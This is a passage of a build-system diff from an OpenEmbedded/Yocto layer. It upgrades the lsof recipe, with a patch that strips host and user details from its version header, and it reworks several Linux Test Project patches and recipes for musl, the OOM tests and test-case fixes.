++#define LSOF_USER ""
++#define LSOF_CC ""
++#define LSOF_CCV ""
++#define LSOF_CCFLAGS ""
++#define LSOF_LDFLAGS ""
++#define LSOF_SYSINFO ""
+
+ #endif
+diff --git a/lib/dialects/linux/Makefile b/lib/dialects/linux/Makefile
+index f8adaa6..7a79ca7 100644
+--- a/lib/dialects/linux/Makefile
++++ b/lib/dialects/linux/Makefile
+@@ -83,64 +83,17 @@ ${LIB}: FRC
+ version.h: FRC
+ @echo Constructing version.h
+ @rm -f version.h
+- @echo '#define LSOF_BLDCMT "${LSOF_BLDCMT}"' > version.h;
+- @echo '#define LSOF_CC "${CC}"' >> version.h
+- @echo '#define LSOF_CCV "${CCV}"' >> version.h
+- @echo '#define LSOF_CCFLAGS "'`echo ${CFLAGS} | sed 's/\\\\(/\\(/g' | sed 's/\\\\)/\\)/g' | sed 's/"/\\\\"/g'`'"' >> version.h
+- @echo '#define LSOF_CINFO "${CINFO}"' >> version.h
+- @if [ "X${LSOF_HOST}" = "X" ]; then \
+- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
+- echo '#define LSOF_HOST "'`uname -n`'"' >> version.h; \
+- else \
+- echo '#define LSOF_HOST ""' >> version.h; \
+- fi \
+- else \
+- if [ "${LSOF_HOST}" = "none" ]; then \
+- echo '#define LSOF_HOST ""' >> version.h; \
+- else \
+- echo '#define LSOF_HOST "${LSOF_HOST}"' >> version.h; \
+- fi \
+- fi
+- @echo '#define LSOF_LDFLAGS "${CFGL}"' >> version.h
+- @if [ "X${LSOF_LOGNAME}" = "X" ]; then \
+- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
+- echo '#define LSOF_LOGNAME "${LOGNAME}"' >> version.h; \
+- else \
+- echo '#define LSOF_LOGNAME ""' >> version.h; \
+- fi \
+- else \
+- if [ "${LSOF_LOGNAME}" = "none" ]; then \
+- echo '#define LSOF_LOGNAME ""' >> version.h; \
+- else \
+- echo '#define LSOF_LOGNAME "${LSOF_LOGNAME}"' >> version.h; \
+- fi; \
+- fi
+- @if [ "X${LSOF_SYSINFO}" = "X" ]; then \
+- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
+- echo '#define LSOF_SYSINFO "'`uname -a`'"' >> version.h; \
+- else \
+- echo '#define LSOF_SYSINFO ""' >> version.h; \
+- fi \
+- else \
+- if [ "${LSOF_SYSINFO}" = "none" ]; then \
+- echo '#define LSOF_SYSINFO ""' >> version.h; \
+- else \
+- echo '#define LSOF_SYSINFO "${LSOF_SYSINFO}"' >> version.h; \
+- fi \
+- fi
+- @if [ "X${LSOF_USER}" = "X" ]; then \
+- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
+- echo '#define LSOF_USER "${USER}"' >> version.h; \
+- else \
+- echo '#define LSOF_USER ""' >> version.h; \
+- fi \
+- else \
+- if [ "${LSOF_USER}" = "none" ]; then \
+- echo '#define LSOF_USER ""' >> version.h; \
+- else \
+- echo '#define LSOF_USER "${LSOF_USER}"' >> version.h; \
+- fi \
+- fi
++
++ @echo '#define LSOF_BLDCMT ""' > version.h;
++ @echo '#define LSOF_CC ""' >> version.h
++ @echo '#define LSOF_CCV ""' >> version.h
++ @echo '#define LSOF_CCFLAGS ""' >> version.h
++ @echo '#define LSOF_CINFO ""' >> version.h
++ @echo '#define LSOF_HOST ""' >> version.h
++ @echo '#define LSOF_LDFLAGS ""' >> version.h
++ @echo '#define LSOF_LOGNAME ""' >> version.h
++ @echo '#define LSOF_SYSINFO ""' >> version.h
++ @echo '#define LSOF_USER ""' >> version.h
+ @sed '/VN/s/.ds VN \(.*\)/#define LSOF_VERSION "\1"/' < version >> version.h
+
+ FRC:
diff --git a/meta/recipes-extended/lsof/lsof_4.91.bb b/meta/recipes-extended/lsof/lsof_4.91.bb
deleted file mode 100644
index b3adfd57af..0000000000
--- a/meta/recipes-extended/lsof/lsof_4.91.bb
+++ /dev/null
@@ -1,63 +0,0 @@
-SUMMARY = "LiSt Open Files tool"
-DESCRIPTION = "Lsof is a Unix-specific diagnostic tool. \
-Its name stands for LiSt Open Files, and it does just that."
-HOMEPAGE = "http://people.freebsd.org/~abe/"
-SECTION = "devel"
-LICENSE = "BSD"
-LIC_FILES_CHKSUM = "file://00README;beginline=645;endline=679;md5=964df275d26429ba3b39dbb9f205172a"
-
-# Upstream lsof releases are hosted on an ftp server which times out download
-# attempts from hosts for which it can not perform a DNS reverse-lookup (See:
-# https://people.freebsd.org/~abe/ ). http://www.mirrorservice.org seems to be
-# the most commonly used alternative.
-
-SRC_URI = "http://www.mirrorservice.org/sites/lsof.itap.purdue.edu/pub/tools/unix/lsof/lsof_${PV}.tar.bz2 \
- file://lsof-remove-host-information.patch \
- "
-
-SRC_URI[md5sum] = "148ed410cb52e08c2adc0c60f480f11f"
-SRC_URI[sha256sum] = "c9da946a525fbf82ff80090b6d1879c38df090556f3fe0e6d782cb44172450a3"
-
-LOCALSRC = "file://${WORKDIR}/lsof_${PV}/lsof_${PV}_src.tar"
-
-S = "${WORKDIR}/lsof_${PV}_src"
-
-python do_unpack () {
- if not bb.data.inherits_class('externalsrc', d) or not d.getVar('EXTERNALSRC'):
- # temporarily change S for unpack of lsof_${PV}
- s = d.getVar('S', False)
- d.setVar('S', '${WORKDIR}/lsof_${PV}')
- bb.build.exec_func('base_do_unpack', d)
- # temporarily change SRC_URI for unpack of lsof_${PV}_src
- src_uri = d.getVar('SRC_URI', False)
- d.setVar('SRC_URI', '${LOCALSRC}')
- d.setVar('S', s)
- bb.build.exec_func('base_do_unpack', d)
- d.setVar('SRC_URI', src_uri)
-}
-
-export LSOF_INCLUDE = "${STAGING_INCDIR}"
-
-do_configure () {
- export LSOF_AR="${AR} cr"
- export LSOF_RANLIB="${RANLIB}"
- if [ "x${GLIBCVERSION}" != "x" ]; then
- LINUX_CLIB=`echo ${GLIBCVERSION} |sed -e 's,\.,,g'`
- LINUX_CLIB="-DGLIBCV=${LINUX_CLIB}"
- export LINUX_CLIB
- fi
- yes | ./Configure linux
-}
-
-export I = "${STAGING_INCDIR}"
-export L = "${STAGING_INCDIR}"
-
-do_compile () {
- oe_runmake 'CC=${CC}' 'CFGL=${LDFLAGS} -L./lib -llsof' 'DEBUG=' 'INCL=${CFLAGS}'
-}
-
-do_install () {
- install -d ${D}${sbindir} ${D}${mandir}/man8
- install -m 0755 lsof ${D}${sbindir}/lsof
- install -m 0644 lsof.8 ${D}${mandir}/man8/lsof.8
-}
diff --git a/meta/recipes-extended/lsof/lsof_4.99.3.bb b/meta/recipes-extended/lsof/lsof_4.99.3.bb
new file mode 100644
index 0000000000..93e91fb427
--- /dev/null
+++ b/meta/recipes-extended/lsof/lsof_4.99.3.bb
@@ -0,0 +1,23 @@
+SUMMARY = "LiSt Open Files tool"
+DESCRIPTION = "Lsof is a Unix-specific diagnostic tool. \
+Its name stands for LiSt Open Files, and it does just that."
+HOMEPAGE = "http://people.freebsd.org/~abe/"
+SECTION = "devel"
+LICENSE = "Spencer-94"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a48ac97a8550eff12395a2c0d6151510"
+
+SRC_URI = "git://github.com/lsof-org/lsof;branch=master;protocol=https \
+ file://remove-host-information.patch"
+SRCREV = "2e4c7a1a9bc7258dc5b6a3ab28ebca44174279a8"
+
+S = "${WORKDIR}/git"
+
+inherit update-alternatives autotools pkgconfig manpages
+PACKAGECONFIG[manpages] = ""
+
+DEPENDS += "groff-native"
+
+ALTERNATIVE:${PN} = "lsof"
+ALTERNATIVE_LINK_NAME[lsof] = "${bindir}/lsof"
+# Make our priority higher than busybox
+ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/ltp/ltp/0001-Add-more-musl-exclusions.patch b/meta/recipes-extended/ltp/ltp/0001-Add-more-musl-exclusions.patch
deleted file mode 100644
index f2fc8ee958..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-Add-more-musl-exclusions.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From ad8e73306cb8293f7d32841e1599fd9048801f1f Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 20 Dec 2019 13:06:05 +0100
-Subject: [PATCH] Add more musl exclusions
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-[ pvorel: rebase for 20200515: enable accept4_01 ]
-[ pvorel: rebase for 20200120: enable fanotify13, fanotify15, setxattr03 ]
-Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
----
- testcases/kernel/syscalls/timer_create/Makefile | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/testcases/kernel/syscalls/timer_create/Makefile b/testcases/kernel/syscalls/timer_create/Makefile
-index ada241fe1..d454b01e7 100644
---- a/testcases/kernel/syscalls/timer_create/Makefile
-+++ b/testcases/kernel/syscalls/timer_create/Makefile
-@@ -5,6 +5,10 @@ top_srcdir ?= ../../../..
-
- include $(top_srcdir)/include/mk/testcases.mk
-
-+ifeq ($(LIBC),musl)
-+FILTER_OUT_MAKE_TARGETS := timer_create01 timer_create03
-+endif
-+
- CPPFLAGS += -D_GNU_SOURCE -I$(abs_srcdir)/../include
-
- LDLIBS += -lpthread -lrt
---
-2.26.2
-
diff --git a/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch b/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch
index 6b665030c3..cc98079651 100644
--- a/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch
+++ b/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch
@@ -1,4 +1,4 @@
-From 13ef88cdccfe3f58c53d57806866b91e310eb272 Mon Sep 17 00:00:00 2001
+From e87c2ad1e16cdbd62ba71b2ace3270503decaa56 Mon Sep 17 00:00:00 2001
From: "Mingde (Matthew) Zeng" <matthewzmd@gmail.com>
Date: Wed, 29 Jul 2020 08:47:09 -0400
Subject: [PATCH] Remove OOM tests from runtest/mm
@@ -7,19 +7,20 @@ Disable OOM tests, as they might cause oeqa ssh connection lost
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Mingde (Matthew) Zeng <matthew.zeng@windriver.com>
-
+[ pvorel: rebased for 20210927 ]
+Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
---
runtest/mm | 6 ------
1 file changed, 6 deletions(-)
diff --git a/runtest/mm b/runtest/mm
-index a09f39c1e..76fa82754 100644
+index d859b331c..3c2962f44 100644
--- a/runtest/mm
+++ b/runtest/mm
-@@ -73,12 +73,6 @@ ksm06 ksm06
- ksm06_1 ksm06 -n 10
- ksm06_2 ksm06 -n 10000
-
+@@ -74,12 +74,6 @@ ksm07 ksm07
+
+ cpuset01 cpuset01
+
-oom01 oom01
-oom02 oom02
-oom03 oom03
@@ -27,8 +28,8 @@ index a09f39c1e..76fa82754 100644
-oom05 oom05
-
swapping01 swapping01 -i 5
-
+
thp01 thp01 -I 120
---
-2.27.0
+--
+2.43.0
diff --git a/meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch b/meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch
deleted file mode 100644
index 29b2bf7e41..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch
+++ /dev/null
@@ -1,81 +0,0 @@
-From 74958c3e341de713b596c8cfd35b2391d6c7bc09 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 7 Jan 2016 18:19:03 +0000
-Subject: [PATCH] build: Add option to select libc implementation
-
-There are more than glibc for C library implementation available on
-linux now a days, uclibc cloaked like glibc but musl e.g. is very
-different and does not implement all GNU extensions.
-
-Disable tests specifically not building _yet_ on musl based systems
-
-Upstream-Status: Pending (pvorel: this is not going to be fixed, instead
-each test needs to be fixed)
-
-rt_tgsigqueueinfo fails with:
-rt_tgsigqueueinfo01.c: In function 'sigusr1_handler':
-rt_tgsigqueueinfo01.c:42:22: error: 'siginfo_t' {aka 'struct <anonymous>'} has no member named '_sifields'; did you mean '__si_fields'?
- 42 | sigval_rcv = uinfo->_sifields._rt.SI_SIGVAL.sival_ptr;
- | ^~~~~~~~~
- | __si_fields
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-[ pvorel: rebase for 20200515: enable pty, ioctl ]
-[ pvorel: rebase for 20200120: enable mallopt, profil, rpc016,
-rt_sigsuspend, sbrk_mutex, setdomainname, sethostname, sigsuspend,
-testpi-3, testpi-5, testpi-6, ustat; move rt_tgsigqueueinfo
-from 0006-rt_tgsigqueueinfo-disable-test-on-musl.patch ]
-Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
----
- Makefile | 5 +++++
- testcases/kernel/sched/Makefile | 4 +++-
- testcases/kernel/syscalls/Makefile | 4 ++++
- 3 files changed, 12 insertions(+), 1 deletion(-)
-
-diff --git a/Makefile b/Makefile
-index 768ca4606..e9d679a71 100644
---- a/Makefile
-+++ b/Makefile
-@@ -41,6 +41,11 @@ vpath %.mk $(top_srcdir)/mk:$(top_srcdir)/mk/include
- UCLINUX ?= 0
- export UCLINUX
-
-+# System C library implementation (glibc,uclibc,musl etc.)
-+# default to glibc if not set
-+LIBC ?= glibc
-+export LIBC
-+
- # CLEAN_TARGETS: Targets which exist solely in clean.
- # COMMON_TARGETS: Targets which exist in all, clean, and install.
- # INSTALL_TARGETS: Targets which exist in clean and install (contains
-diff --git a/testcases/kernel/sched/Makefile b/testcases/kernel/sched/Makefile
-index 6a57d79ee..74bb93370 100644
---- a/testcases/kernel/sched/Makefile
-+++ b/testcases/kernel/sched/Makefile
-@@ -23,5 +23,7 @@
- top_srcdir ?= ../../..
-
- include $(top_srcdir)/include/mk/env_pre.mk
--
-+ifeq ($(LIBC),musl)
-+ FILTER_OUT_DIRS += process_stress
-+endif
- include $(top_srcdir)/include/mk/generic_trunk_target.mk
-diff --git a/testcases/kernel/syscalls/Makefile b/testcases/kernel/syscalls/Makefile
-index c6dc8d9e7..aa50761ea 100644
---- a/testcases/kernel/syscalls/Makefile
-+++ b/testcases/kernel/syscalls/Makefile
-@@ -15,6 +15,10 @@ FILTER_OUT_DIRS += capget capset chmod chown clone fork getcontext llseek \
- mincore mprotect nftw profil remap_file_pages sbrk
- endif
-
-+ifeq ($(LIBC),musl)
-+FILTER_OUT_DIRS += confstr fmtmsg getcontext rt_tgsigqueueinfo
-+endif
-+
- ifeq ($(UCLIBC),1)
- FILTER_OUT_DIRS += profil
- endif
---
-2.26.2
-
diff --git a/meta/recipes-extended/ltp/ltp/0001-ptrace01-Fix-missing-format-string.patch b/meta/recipes-extended/ltp/ltp/0001-ptrace01-Fix-missing-format-string.patch
deleted file mode 100644
index 27b890e22b..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-ptrace01-Fix-missing-format-string.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From adb9587466a493fdd9d4410f1b8b130ebca06daa Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 19 May 2020 22:21:23 -0700
-Subject: [PATCH] ptrace01: Fix missing format string
-
-Fixes
-| ptrace01.c:89:2: error: format string is not a string literal
-(potentially insecure) [-Werror,-Wformat-security]
-| tst_res(TINFO, tc->message);
-| ^ ~~~~~~~~~~~
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Backport [58424835952641f4fd60c0ae3ab6c64decca3f8a]
----
- testcases/kernel/syscalls/ptrace/ptrace01.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/testcases/kernel/syscalls/ptrace/ptrace01.c b/testcases/kernel/syscalls/ptrace/ptrace01.c
-index 87a99e4150..9071bbabaf 100644
---- a/testcases/kernel/syscalls/ptrace/ptrace01.c
-+++ b/testcases/kernel/syscalls/ptrace/ptrace01.c
-@@ -86,7 +86,7 @@ static void run(unsigned int i)
-
- got_signal = 0;
-
-- tst_res(TINFO, tc->message);
-+ tst_res(TINFO, "%s", tc->message);
-
- if (tc->handler == 1) {
- parent_act.sa_handler = parent_handler;
---
-2.26.2
-
diff --git a/meta/recipes-extended/ltp/ltp/0001-scenario_groups-default-remove-connectors.patch b/meta/recipes-extended/ltp/ltp/0001-scenario_groups-default-remove-connectors.patch
new file mode 100644
index 0000000000..4a50d1ae38
--- /dev/null
+++ b/meta/recipes-extended/ltp/ltp/0001-scenario_groups-default-remove-connectors.patch
@@ -0,0 +1,34 @@
+From 14c710cae38aa96bd8d681e891b6a1d691f99988 Mon Sep 17 00:00:00 2001
+From: Xiangyu Chen <xiangyu.chen@windriver.com>
+Date: Thu, 14 Mar 2024 09:47:10 +0800
+Subject: [PATCH] scenario_groups/default: remove connectors
+
+runtest/connectors was removed in 9b642d89c, thus update scenario_groups/default.
+
+Fixes: 9b642d89c ("runtest: Merge runtest/connectors to kernel_misc")
+Closes: https://github.com/linux-test-project/ltp/pull/1144
+
+Upstream-Status: Backport from
+[https://github.com/linux-test-project/ltp/commit/14c710ca]
+
+Reviewed-by: Petr Vorel <pvorel@suse.cz>
+Signed-off-by: Xiangyu Chen <xiangyu.chen@windriver.com>
+---
+ scenario_groups/default | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/scenario_groups/default b/scenario_groups/default
+index f17b2061a..ec77d8fb8 100644
+--- a/scenario_groups/default
++++ b/scenario_groups/default
+@@ -16,7 +16,6 @@ controllers
+ filecaps
+ cap_bounds
+ fcntl-locktests
+-connectors
+ power_management_tests
+ hugetlb
+ commands
+--
+2.34.1
+
diff --git a/meta/recipes-extended/ltp/ltp/0001-sigwaitinfo-Do-not-run-invalid-undefined-test-cases.patch b/meta/recipes-extended/ltp/ltp/0001-sigwaitinfo-Do-not-run-invalid-undefined-test-cases.patch
deleted file mode 100644
index 17d5af89e2..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-sigwaitinfo-Do-not-run-invalid-undefined-test-cases.patch
+++ /dev/null
@@ -1,69 +0,0 @@
-From e0a63deb1857eb90288e90d6368df70cdd0c0ec9 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 28 May 2020 13:04:33 -0700
-Subject: [PATCH] sigwaitinfo: Do not run invalid/undefined test cases
-
-These testcases run for eternity on musl
-
-test_bad_address* cases are passing invalid pointers to a function; that's always UB
-empty_set and timeout rely on the implementation-defined "may fail" for EINTR in sigtimedwait [1]
-
-normally "may fail" is an "unspecified" but here the impl
-is supposed to document it so it's "impl-defined"
-
-[1] https://pubs.opengroup.org/onlinepubs/9699919799/functions/sigtimedwait.html
-
-Upstream-Status: Submitted [https://patchwork.ozlabs.org/project/ltp/patch/20200528204556.2444156-1-raj.khem@gmail.com/]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Cc: Rich Felker <dalias@aerifal.cx>
----
- .../kernel/syscalls/sigwaitinfo/sigwaitinfo01.c | 12 ++----------
- 1 file changed, 2 insertions(+), 10 deletions(-)
-
---- a/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c
-+++ b/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c
-@@ -422,15 +422,10 @@ struct test_desc {
- } tests[] = {
- #ifdef TEST_RT_SIGTIMEDWAIT
- {
-- test_empty_set, my_rt_sigtimedwait, SIGUSR1}, {
- test_unmasked_matching, my_rt_sigtimedwait, SIGUSR1}, {
- test_masked_matching, my_rt_sigtimedwait, SIGUSR1}, {
- test_unmasked_matching_noinfo, my_rt_sigtimedwait, SIGUSR1}, {
-- test_masked_matching_noinfo, my_rt_sigtimedwait, SIGUSR1}, {
-- test_bad_address, my_rt_sigtimedwait, SIGUSR1}, {
-- test_bad_address2, my_rt_sigtimedwait, SIGUSR1}, {
-- test_bad_address3, my_rt_sigtimedwait, SIGUSR1}, {
-- test_timeout, my_rt_sigtimedwait, 0},
-+ test_masked_matching_noinfo, my_rt_sigtimedwait, SIGUSR1},
- /* Special cases */
- /* 1: sigwaitinfo does respond to ignored signal */
- {
-@@ -452,25 +447,17 @@ struct test_desc {
- #endif
- #if defined TEST_SIGWAITINFO
- {
-- test_empty_set, my_sigwaitinfo, SIGUSR1}, {
- test_unmasked_matching, my_sigwaitinfo, SIGUSR1}, {
- test_masked_matching, my_sigwaitinfo, SIGUSR1}, {
- test_unmasked_matching_noinfo, my_sigwaitinfo, SIGUSR1}, {
-- test_masked_matching_noinfo, my_sigwaitinfo, SIGUSR1}, {
-- test_bad_address, my_sigwaitinfo, SIGUSR1}, {
-- test_bad_address2, my_sigwaitinfo, SIGUSR1},
-+ test_masked_matching_noinfo, my_sigwaitinfo, SIGUSR1},
- #endif
- #if defined TEST_SIGTIMEDWAIT
- {
-- test_empty_set, my_sigtimedwait, SIGUSR1}, {
- test_unmasked_matching, my_sigtimedwait, SIGUSR1}, {
- test_masked_matching, my_sigtimedwait, SIGUSR1}, {
- test_unmasked_matching_noinfo, my_sigtimedwait, SIGUSR1}, {
-- test_masked_matching_noinfo, my_sigtimedwait, SIGUSR1}, {
-- test_bad_address, my_sigtimedwait, SIGUSR1}, {
-- test_bad_address2, my_sigtimedwait, SIGUSR1}, {
-- test_bad_address3, my_sigtimedwait, SIGUSR1}, {
-- test_timeout, my_sigtimedwait, 0},
-+ test_masked_matching_noinfo, my_sigtimedwait, SIGUSR1},
- #endif
- };
-
diff --git a/meta/recipes-extended/ltp/ltp/0001-syscalls-copy_file_range02-Expect-EFBIG-in-subcase-m.patch b/meta/recipes-extended/ltp/ltp/0001-syscalls-copy_file_range02-Expect-EFBIG-in-subcase-m.patch
deleted file mode 100644
index 09b6f54874..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-syscalls-copy_file_range02-Expect-EFBIG-in-subcase-m.patch
+++ /dev/null
@@ -1,57 +0,0 @@
-From 99687ab002f9f750f6f18fa1d70a91f0aa4f8ba2 Mon Sep 17 00:00:00 2001
-From: He Zhe <zhe.he@windriver.com>
-Date: Thu, 18 Jun 2020 17:18:27 +0800
-Subject: [PATCH] syscalls/copy_file_range02: Expect EFBIG in subcase max
- length on 32-bit architectures
-
-For syscall
-ssize_t copy_file_range(int fd_in, loff_t *off_in,
- int fd_out, loff_t *off_out,
- size_t len, unsigned int flags);
-off_out is loff_t* that is long long, 64 bits on 32-bit architectures,
-while len is size_t that unsigned int, 32 bits on 32-bit architectures.
-
-In subcase "max length", simplified as below,
-
-dst = tst_max_lfs_filesize();
-TEST(sys_copy_file_range(fd_src, 0, *tc->copy_to_fd, &dst, tc->len, tc->flags));
-
-where dst is 4K*4G and len is 4G, so (4K+1)*4G is always smaller than 4G*4G,
-it can never match the following kernel condition on 32-bit architectures.
-
-if (pos_in + count < pos_in || pos_out + count < pos_out)
- return -EOVERFLOW;
-
-And thus we would get error like
-copy_file_range02.c:139: FAIL: copy_file_range failed unexpectedly; expected EOVERFLOW, but got: EFBIG (27)
-
-Also correct a typo.
-
-Upstream-Status: Backport [http://lists.linux.it/pipermail/ltp/2020-June/017716.html]
-
-Signed-off-by: He Zhe <zhe.he@windriver.com>
-Acked-by: Li Wang <liwang@redhat.com>
----
- .../kernel/syscalls/copy_file_range/copy_file_range02.c | 6 +++++-
- 1 file changed, 5 insertions(+), 1 deletion(-)
-
-diff --git a/testcases/kernel/syscalls/copy_file_range/copy_file_range02.c b/testcases/kernel/syscalls/copy_file_range/copy_file_range02.c
-index fa679c4d3..bc27fbe57 100644
---- a/testcases/kernel/syscalls/copy_file_range/copy_file_range02.c
-+++ b/testcases/kernel/syscalls/copy_file_range/copy_file_range02.c
-@@ -78,7 +78,11 @@ static struct tcase {
- {&fd_chrdev, 0, EINVAL, CONTSIZE, "char device", 0},
- {&fd_fifo, 0, EINVAL, CONTSIZE, "fifo", 0},
- {&fd_pipe[0], 0, EINVAL, CONTSIZE, "pipe", 0},
-- {&fd_copy, 0, EOVERFLOW, ULLONG_MAX, "max length lenght", 1},
-+#ifdef TST_ABI64
-+ {&fd_copy, 0, EOVERFLOW, ULLONG_MAX, "max length", 1},
-+#else
-+ {&fd_copy, 0, EFBIG, ULLONG_MAX, "max length", 1},
-+#endif
- {&fd_copy, 0, EFBIG, MIN_OFF, "max file size", 1},
- };
-
---
-2.17.1
-
diff --git a/meta/recipes-extended/ltp/ltp/0004-guard-mallocopt-with-__GLIBC__.patch b/meta/recipes-extended/ltp/ltp/0004-guard-mallocopt-with-__GLIBC__.patch
deleted file mode 100644
index e93886c9cd..0000000000
--- a/meta/recipes-extended/ltp/ltp/0004-guard-mallocopt-with-__GLIBC__.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From d0fc9ca5d3366f9b8907e463222403cd2327be10 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 8 Jan 2016 06:51:20 +0000
-Subject: [PATCH] guard mallocopt() with __GLIBC__
-
-mallocopt is not available on non glibc implementations
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Reviewed-by: Petr Vorel <petr.vorel@gmail.com>
-[ Upstream-Status: accepted in 967612c454aea66770b64f69287671037fe895b3 ]
----
- utils/benchmark/ebizzy-0.3/ebizzy.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/utils/benchmark/ebizzy-0.3/ebizzy.c b/utils/benchmark/ebizzy-0.3/ebizzy.c
-index 5bb8eff..934d951 100644
---- a/utils/benchmark/ebizzy-0.3/ebizzy.c
-+++ b/utils/benchmark/ebizzy-0.3/ebizzy.c
-@@ -215,10 +215,10 @@ static void read_options(int argc, char *argv[])
- "\"never mmap\" option specified\n");
- usage();
- }
--
-+#ifdef __GLIBC__
- if (never_mmap)
- mallopt(M_MMAP_MAX, 0);
--
-+#endif
- if (chunk_size < record_size) {
- fprintf(stderr, "Chunk size %u smaller than record size %u\n",
- chunk_size, record_size);
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch b/meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch
deleted file mode 100644
index 0e7264574f..0000000000
--- a/meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From f4fafbdffae3a63c81f65cef98c72dda26283e06 Mon Sep 17 00:00:00 2001
-From: Dengke Du <dengke.du@windriver.com>
-Date: Wed, 8 Feb 2017 16:17:17 +0800
-Subject: [PATCH] Fix test_proc_kill hanging
-
-Sometimes the signal is delivered to memcg_process before the framework took
-into consideration its pid entered in the tasks. Fixed by delaying the signal
-send command.
-
-Upstream-Status: Pending
-
-Signed-off-by: George Nita <george.nita@enea.com>
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
----
- testcases/kernel/controllers/memcg/functional/memcg_lib.sh | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
-index aadaae4..deea5d6 100755
---- a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
-+++ b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
-@@ -291,6 +291,7 @@ test_proc_kill()
- pid=$!
- TST_CHECKPOINT_WAIT 0
- echo $pid > tasks
-+ sleep 1
-
- signal_memcg_process $pid $3
-
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp_20200515.bb b/meta/recipes-extended/ltp/ltp_20200515.bb
deleted file mode 100644
index 0c7044d044..0000000000
--- a/meta/recipes-extended/ltp/ltp_20200515.bb
+++ /dev/null
@@ -1,124 +0,0 @@
-SUMMARY = "Linux Test Project"
-DESCRIPTION = "The Linux Test Project is a joint project with SGI, IBM, OSDL, and Bull with a goal to deliver test suites to the open source community that validate the reliability, robustness, and stability of Linux. The Linux Test Project is a collection of tools for testing the Linux kernel and related features."
-HOMEPAGE = "https://linux-test-project.github.io/"
-SECTION = "console/utils"
-LICENSE = "GPLv2 & GPLv2+ & LGPLv2+ & LGPLv2.1+ & BSD-2-Clause"
-LIC_FILES_CHKSUM = "\
- file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://testcases/kernel/controllers/freezer/COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
- file://testcases/kernel/controllers/freezer/run_freezer.sh;beginline=5;endline=17;md5=86a61d2c042d59836ffb353a21456498 \
- file://testcases/kernel/hotplug/memory_hotplug/COPYING;md5=e04a2e542b2b8629bf9cd2ba29b0fe41 \
- file://testcases/kernel/hotplug/cpu_hotplug/COPYING;md5=e04a2e542b2b8629bf9cd2ba29b0fe41 \
- file://testcases/open_posix_testsuite/COPYING;md5=48b1c5ec633e3e30ec2cf884ae699947 \
- file://testcases/realtime/COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \
- file://utils/benchmark/kernbench-0.42/COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
-"
-
-DEPENDS = "attr libaio libcap acl openssl zip-native"
-DEPENDS_append_libc-musl = " fts "
-EXTRA_OEMAKE_append_libc-musl = " LIBC=musl "
-EXTRA_OECONF_append_libc-musl = " LIBS=-lfts "
-
-# since ltp contains x86-64 assembler which uses the frame-pointer register,
-# set -fomit-frame-pointer x86-64 to handle cases where optimisation
-# is set to -O0 or frame pointers have been enabled by -fno-omit-frame-pointer
-# earlier in CFLAGS, etc.
-CFLAGS_append_x86-64 = " -fomit-frame-pointer"
-
-CFLAGS_append_powerpc64 = " -D__SANE_USERSPACE_TYPES__"
-CFLAGS_append_mipsarchn64 = " -D__SANE_USERSPACE_TYPES__"
